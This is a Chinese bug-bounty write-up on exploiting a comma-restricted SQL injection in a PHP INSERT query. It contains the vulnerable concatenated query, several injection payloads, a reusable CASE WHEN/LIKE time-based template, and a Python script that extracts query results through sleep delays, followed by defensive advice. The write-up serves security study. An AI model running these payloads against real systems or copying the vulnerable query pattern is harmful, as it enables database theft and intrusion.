挖洞经验 | 一次INSERT查询的无逗号SQL注入漏洞构造利用($10k)
字数 984 2025-08-18 11:38:28
无逗号SQL注入漏洞构造与利用技术详解
漏洞背景
本文详细分析一种特殊的SQL注入漏洞,该漏洞存在于INSERT查询中,且由于特殊限制无法使用逗号(,)进行注入构造。作者通过巧妙结合Time-based注入、Case When语句和Like操作成功实现了注入利用,最终获得厂商$10,000美金的奖励。
漏洞原理分析
1. 漏洞代码示例
后端数据库处理逻辑如下:
$email = $_POST['email'];
$name = $_POST['name'];
$review = $_POST['review'];
$query = "insert into reviews(review,email,name) values ('$review','$email','$name')";
mysql_query($query,$conn);
对应的HTTP请求体格式:
review=test review&email=info@example.com&name=test name
生成的SQL语句:
insert into reviews(review,email,name) values ('test review','info@example.com','test name')
2. 常规注入方法
方法一:extractvalue报错注入
构造Payload:
test review' and extractvalue(0x0a,concat(0x0a,(select database()))) and '1
生成的SQL语句:
insert into reviews(review,email,name) values ('test review' and extractvalue(0x0a,concat(0x0a,(select database()))) and '1','info@example.com','test name');
效果:通过XPATH错误泄露数据库名称。
方法二:子查询注入
构造Payload:
jnk review',(select user()),'dummy name')-- -
生成的SQL语句:
insert into reviews(review,email,name) values ('jnk review',(select user()),'dummy name')-- -,'info@example.com','test name');
效果:将查询结果直接插入到表中。
方法三:Time-based盲注
构造Payload:
xxx'-(IF((substring((select database()),1,1)) = 'd', sleep(5), 0))-'xxxx
效果:通过响应时间判断条件是否为真。
特殊限制下的注入构造
1. 问题描述
当注入参数是通过逗号分隔的数组时(如urls[]和methods[]),常规注入方法中的逗号会破坏Payload结构:
$urls_input = $_POST['urls'];
$urls = explode(",", $urls_input);
foreach($urls as $url){
mysql_query("insert into xxxxxx (url,method) values ('$url','method')")
}
构造的Payload:
xxx'-(IF((substring((select database()),1,1)) = 'd', sleep(5), 0))-'xxxx
会被分割为:
Array(
[0] => xxx'-(IF((substring((select database())
[1] => 1
[2] => 1)) = 'd'
[3] => sleep(5)
[4] => 0))-'xxxx)
2. 解决方案
替代IF语句:使用CASE WHEN
基本语法:
SELECT CASE WHEN (condition) THEN (true_action) ELSE (false_action) END
示例:
select CASE WHEN ((select substring('111',1,1)='1')) THEN (sleep(3)) ELSE 2 END;
替代substring:使用LIKE操作
示例:
select CASE WHEN ((select database()) like 'd%') THEN (sleep(3)) ELSE 2 END;
3. 最终Payload构造
基本格式:
xxx'-(select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(4)) ELSE 2 END)-'xxx
完整Payload模板:
urls[]=xxx'-cast((select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(1)) ELSE 2 END) as char)-'
自动化利用脚本
import requests
import sys
import time
if len(sys.argv) == 1:
print '''Usage : python sql.py "QUERY"
Example : python sql.py "(select database)"
'''
sys.exit()
query = sys.argv[1]
print "[*] Obtaining length"
# 获取查询结果长度
for i in range(1,100):
current_time = time.time()
data = {
"methods[]": "on-site",
"urls[]": "jnkfooo'-cast((select CASE WHEN ((select length("+query+"))="+str(i)+") THEN (sleep(1)) ELSE 2 END) as char)-'"
}
response = requests.post(url, headers=headers, data=data).text
response_time = time.time()
time_taken = response_time - current_time
if time_taken > 2:
print "[+] Length of DB query output is : "+str(i)
length = i + 1
break
print "[*] obtaining query output\n"
outp = ''
charset = "abcdefghijklmnopqrstuvwxyz0123456789.ABCDEFGHIJKLMNOPQRSTUVWXYZ_@-."
# 逐字符爆破查询结果
for i in range(1,length):
for char in charset:
current_time = time.time()
data = {
"methods[]": "on-site",
"urls[]": "jnkfooo'-cast((select CASE WHEN ("+query+" like '"+outp+char+"%') THEN (sleep(1)) ELSE 2 END) as char)-'"
}
response = requests.post(url, headers=headers, data=data).text
response_time = time.time()
time_taken = response_time - current_time
if time_taken > 2:
print "Got '"+char+"'"
outp = outp + char
break
print "QUERY output : "+outp
关键知识点总结
-
INSERT注入的三种常规方法:
- 报错注入(extractvalue)
- 子查询注入
- Time-based盲注
-
无逗号注入的限制与突破:
- 当Payload中不能使用逗号时,需要寻找替代方案
- 使用CASE WHEN替代IF语句
- 使用LIKE操作替代substring函数
-
时间盲注的关键构造:
CASE WHEN (condition) THEN (sleep(N)) ELSE (value) END -
字符爆破技术:
- 通过LIKE和通配符%逐字符猜测
- 结合时间延迟判断猜测是否正确
-
自动化利用:
- 先确定结果长度
- 然后逐字符爆破
防御建议
- 使用参数化查询(Prepared Statements)
- 对用户输入进行严格的过滤和转义
- 避免直接拼接用户输入到SQL语句中
- 实施最小权限原则,限制数据库用户权限
- 对敏感操作添加额外的验证机制
参考Payload模板
xxx'-cast((select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(1)) ELSE 2 END) as char)-'
该模板可用于各种无逗号限制的SQL注入场景,通过修改MY_QUERY和CHAR_TO_BRUTE_FORCE实现不同的注入目的。